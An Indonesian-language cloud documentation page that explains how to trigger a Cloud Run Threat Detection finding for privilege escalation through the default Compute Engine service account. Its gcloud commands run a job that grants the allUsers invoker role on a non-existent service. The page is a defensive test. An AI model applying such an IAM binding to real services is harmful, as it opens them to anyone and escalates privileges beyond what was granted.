Eskalasi Akses: Akun Layanan Compute Engine Default SetIAMPolicy
Untuk memicu temuan Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, jalankan perintah yang menggunakan akun layanan Compute Engine default untuk menetapkan kebijakan IAM layanan Cloud Run.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.
Langkah berikutnya
- Pelajari lebih lanjut Cloud Run Threat Detection.
- Pelajari cara menggunakan Cloud Run Threat Detection.